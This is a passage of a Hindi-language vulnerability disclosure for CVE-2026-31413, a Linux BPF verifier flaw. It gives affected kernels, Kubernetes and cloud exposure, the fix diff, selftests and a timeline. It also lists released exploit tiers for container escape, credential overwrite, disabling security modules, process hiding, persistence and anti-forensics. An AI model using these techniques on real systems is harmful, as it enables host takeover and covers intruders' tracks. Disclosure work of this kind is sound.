ये आमतौर पर DaemonSets के रूप में चलते हैं - हर नोड पर एक पॉड, पूरे क्लस्टर में। यदि कोई हमलावर इनमें से किसी भी पॉड से समझौता करता है (उसी नोड पर किसी वेब सेवा में RCE, सप्लाई चेन अटैक, एजेंट API में SSRF, आदि), तो उनके पास इस एक्सप्लॉइट को चलाने और होस्ट root तक बच निकलने के लिए आवश्यक caps होते हैं।
**महत्वपूर्ण चेतावनी:** यह एक्सप्लॉइट केवल उन कर्नेल पर काम करता है जिनमें भेद्य कोड मौजूद है (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 से rc4)। अधिकांश प्रोडक्शन K8s क्लस्टर पुराने LTS कर्नेल चलाते हैं। शोषण संभव मानने से पहले `uname -r` से अपने नोड कर्नेल संस्करण की जाँच करें।
एक नोड पर होस्ट root से, उसी DaemonSet के माध्यम से अन्य नोड्स तक लैटरल मूवमेंट आमतौर पर संभव होता है (साझा सेवा खाते, माउंटेड सीक्रेट्स, आदि)।
### मैनेज्ड Kubernetes (GKE, EKS, AKS)
Google GKE डिफ़ॉल्ट रूप से Dataplane V2 के रूप में Cilium का उपयोग करता है। यदि GKE नोड्स अनपैच्ड 6.12.x कर्नेल चलाते हैं (अपने node pool संस्करण की जाँच करें), तो कोई भी Cilium पॉड समझौता होस्ट root और नोड टेकओवर में बदल जाता है। मैंने यह एक्सप्लॉइट विशेष रूप से इस परिदृश्य के लिए बनाया है - इसीलिए इसे `exploit_gke.c` कहा जाता है।
Amazon EKS और Azure AKS भी संभावित रूप से प्रभावित हैं यदि वे Cilium या समान BPF-आधारित नेटवर्किंग के साथ 6.12.x कर्नेल चला रहे हैं। विशिष्ट AMI/VM इमेज संस्करणों की जाँच करने की आवश्यकता है।
### Android
Android eBPF का उपयोग नेटवर्क ट्रैफ़िक अकाउंटिंग (netd), पावर प्रोफाइलिंग, और मेमोरी ट्रैकिंग के लिए करता है। वर्तमान Android डिवाइस (14/15) 6.1 LTS कर्नेल का उपयोग करते हैं, जो **प्रभावित नहीं हैं**। Android 16 6.12 LTS अपना सकता है - यदि ऐसा होता है, और यदि भेद्य बैकपोर्ट शामिल है, तो अटैक सरफेस `netd` और `system_server` जैसी सिस्टम सेवाएँ होंगी जो BPF प्रोग्राम लोड करती हैं।
यह अनुमानित है और Android की कर्नेल अपनाने की समयरेखा पर निर्भर करता है। मैंने ट्रैकिंग के लिए Android VRP के साथ फाइल किया है।
### साझा-कर्नेल कंटेनर (LXC/LXD)
सिस्टम कंटेनर जो होस्ट कर्नेल साझा करते हैं (VMs के विपरीत) पूरी तरह से उजागर होते हैं। साझा कर्नेल से समझौता = होस्ट + उस पर मौजूद हर दूसरे कंटेनर से समझौता। यह Docker/containerd से अलग है जहाँ आप किसी ऐसे होस्ट तक भाग रहे होते हैं जो स्वयं VM हो सकता है।
### यह किससे बच नहीं सकता
यह गेस्ट कर्नेल बग है, हाइपरवाइज़र एस्केप नहीं। यदि आप एक्सप्लॉइट को EC2 इंस्टेंस के अंदर चलाते हैं, तो आपको उस इंस्टेंस पर root मिलता है - आप Nitro हाइपरवाइज़र से बाहर निकलकर भौतिक होस्ट या अन्य टेनेंट्स तक नहीं पहुँचते। GCE, Azure VMs, KVM, आदि के लिए भी यही बात है। हार्डवेयर सीमा कायम रहती है।
### प्रभावित कर्नेल
| Branch | Affected | Fixed |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` से 6.12.79 तक | 6.12.80+ |
| 6.18.y | `4c122e8ae149` से 6.18.20 तक | 6.18.21+ |
| 6.19.y | `e52567173ba8` से 6.19.10 तक | 6.19.11+ |
| mainline | 7.0-rc1 से 7.0-rc4 तक | 7.0-rc5+ |
भेद्यता पेश करने वाला कमिट: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
फिक्स कमिट: `c845894ebd6f`
`CAP_BPF` एक सुरक्षित क्षमता नहीं है। वेरिफायर बग इसे मनमाने कर्नेल रीड/राइट में बदल देता है। जो प्रोडक्ट्स इसे वर्कलोड पॉड्स को देते हैं, उन्हें इसे `CAP_SYS_ADMIN` की तरह मानना चाहिए।
---
## फिक्स
एक अक्षर:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
शाखा को insn_idx + 1 पर धकेलने (ALU निर्देश को छोड़ने) के बजाय, insn_idx पर धकेलें - अर्थात निर्देश पर ही। धकेला गया पथ ALU ऑप को dst = 0 के साथ पुनः निष्पादित करता है:
0 & K = 0 ✓0 | K = K ✓मूल दृष्टिकोण चतुर था - निर्देश को छोड़ें और परिणाम को हार्डकोड करें, जिससे धकेले गए पथ पर वेरिफायर का एक चरण बच जाता था। लेकिन वह अनुकूलन तभी काम करता है जब dst = 0 के साथ निर्देश निष्पादित करने का परिणाम शून्य हो। यह AND के लिए सत्य है और OR के लिए असत्य। फिक्स अनुकूलन को छोड़ देता है: बस निर्देश को फिर से चलाएँ और वेरिफायर को किसी भी ऑपकोड के लिए सही मान की गणना करने दें।
मैंने तीन पैच संशोधन किए:
maybe_fork_scalars() में एक opcode पैरामीटर जोड़ा और धकेले गए पथ पर OR के लिए dst = K, AND के लिए dst = 0 सेट किया। काम कर गया लेकिन जटिलता बढ़ाई।insn_idx + 1 के बजाय insn_idx पर धकेलें। सरल, ऑपकोड-स्वतंत्र, और skip-vs-execute बगों की पूरी श्रेणी समाप्त करता है।22 मार्च को Alexei Starovoitov द्वारा c845894ebd6f के रूप में विलय किया गया। Selftests 0ad1734cc559 में। Eduard Zingerman द्वारा समीक्षित, Amery Hung द्वारा स्वीकृत।
Selftests तीन मामलों को कवर करते हैं:
or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, ऑफ़सेट 8 पर एक्सेस OOB है → अस्वीकार करना चाहिएand_scalar_fork_still_works - रिग्रेशन परीक्षण, AND पथ अभी भी स्वीकार करता हैor_scalar_fork_allows_inbounds - OR 4, value_size=8, ऑफ़सेट 4 सीमा के भीतर है → स्वीकार करना चाहिएLinus ने d5273fd3ca0b ("Merge tag 'bpf-fixes'") को इस नोट के साथ विलय किया: "OR निर्देशों के लिए असाउंड स्केलर फ़ोर्क को ठीक करें (Daniel Wade)"।
c845894ebd6f ("bpf: maybe_fork_scalars() में BPF_OR के लिए असाउंड स्केलर फ़ोर्किंग को ठीक करें")0ad1734cc559 ("selftests/bpf: maybe_fork_scalars() की OR बनाम AND हैंडलिंग के लिए परीक्षण जोड़ें")bffacdb80b93 ("bpf: वेरिफायर में विशेष अंकगणितीय शिफ्ट को पहचानें")अस्वीकरण: यह एक्सप्लॉइट कोड ज़िम्मेदाराना खुलासे और पैच विलय के बाद शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है।
CVE-2026-31413 - Linux 7.0-rc5 में ठीक किया गया। प्रभावित: 6.12.75+ (स्थिर बैकपोर्ट) से 7.0-rc4 तक।
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| टियर | फ़ाइल | क्षमता |
|---|
| 1 | exploit.c / exploit_gke.c | कंटेनर एस्केप - vtable अपहरण + modprobe_path अधिलेखन (ऊपर वर्णित मुख्य एक्सप्लॉइट) |
| v2 | exploit_gke_v2.c | डेटा-ओनली क्रेड अधिलेखन - कोई vtable अपहरण नहीं, कोई modprobe_path नहीं, कोई फाइलसिस्टम इंटरैक्शन नहीं। task_struct लेआउट का स्वतः पता लगाता है। शून्य मैप भ्रष्टाचार विंडो। अनुशंसित एक्सप्लॉइट। |
| 2 | tier2_cred_overwrite.c | प्रत्यक्ष क्रेडेंशियल अधिलेखन - task_struct श्रृंखला को ट्रैवर्स करें, वर्तमान टास्क खोजें, तत्काल रूट के लिए struct cred में uid/gid/caps को शून्य करें |
| 3 | tier3_syscall_hook.c | सिसकॉल टेबल हुकिंग - syscall टेबल को लिखने योग्य बनाने के लिए पेज टेबल ट्रैवर्स करें, एक हैंडलर बदलें, इसे यूज़रस्पेस से कॉल करें, पुनर्स्थापित करें |
| 4 | tier4_security_disable.c | सुरक्षा सबसिस्टम किल - SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict अक्षम करें; /proc के माध्यम से सत्यापित करें |
| 5 | tier5_cross_container.c | क्रॉस-कंटेनर क्रेडेंशियल चोरी - nsproxy संरचनाओं की गणना करें, दूसरे नेमस्पेस में लक्ष्य PID का task_struct खोजें, उसके क्रेड्स संशोधित करें |
| 6 | tier6_persistence.c | कर्नेल-ट्रिगर्ड पर्सिस्टेंस - बाइनरी फॉर्मेट त्रुटियों और क्रैश पर हमलावर पेलोड निष्पादित करने के लिए modprobe_path और core_pattern अधिलेखित करें |
| 7 | tier7_hardware.c | हार्डवेयर-स्तरीय इंट्रोस्पेक्शन - IDT डंप करें, CR0/CR4 पढ़ें/डिकोड करें, पूर्ण अनुमति मैट्रिक्स के साथ पेज टेबल ट्रैवर्स करें, KASLR बेस पुनर्प्राप्त करें |
| 8 | tier8_dkom_cloak.c | DKOM प्रोसेस क्लॉकिंग - एक चाइल्ड फोर्क करें, उसका task_struct खोजें, इसे कर्नेल की टास्क सूची से अनलिंक करें (ps/टास्क इटरेटर के लिए अदृश्य), फिर से लिंक करें |
| 9 | tier9_code_inject.c | लाइव कर्नेल कोड इंजेक्शन - .text PMD को लिखने योग्य बनाने के लिए पैच करें, शेलकोड (mov rax, 0x1337; ret) के साथ sys_getuid प्रोलॉग अधिलेखित करें, यूज़रस्पेस से कॉल करें, पुनर्स्थापित करें |
| 10 | tier10_anti_forensics.c | एंटी-फोरेंसिक्स - printk रिंग बफर आंतरिक भाग डंप करें, फोरेंसिक वेरिएबल्स (ftrace, audit, dmesg_restrict, kptr_restrict) के साथ छेड़छाड़ करें, कर्नेल लॉग बफर टेक्स्ट R/W करें |
| दिनांक | घटना |
|---|
| 2026-01-14 | bffacdb80b93 7.0-rc1 में maybe_fork_scalars() का परिचय देता है |
| 2026-03-04 | बग को dea9989a3f के रूप में 6.12.y स्थिर शाखा में बैकपोर्ट किया गया |
| 2026-03-11 | वेरिफायर ऑडिट के दौरान मुझे बग मिला |
| 2026-03-12 | OOB रीड/राइट की पुष्टि, एक्सप्लॉइट काम कर रहा है |
| 2026-03-13 | कंटेनर एस्केप PoC पूर्ण, वीडियो रिकॉर्ड किया गया |
| 2026-03-14 | पैच v3 [email protected] पर भेजा गया |
| 2026-03-22 | Alexei Starovoitov द्वारा bpf/bpf.git में फिक्स विलय |
| 2026-04-06 | Linus bpf-fixes टैग को मेनलाइन में विलय करता है |
| 2026-04-12 | Greg Kroah-Hartman द्वारा CVE-2026-31413 निर्धारित |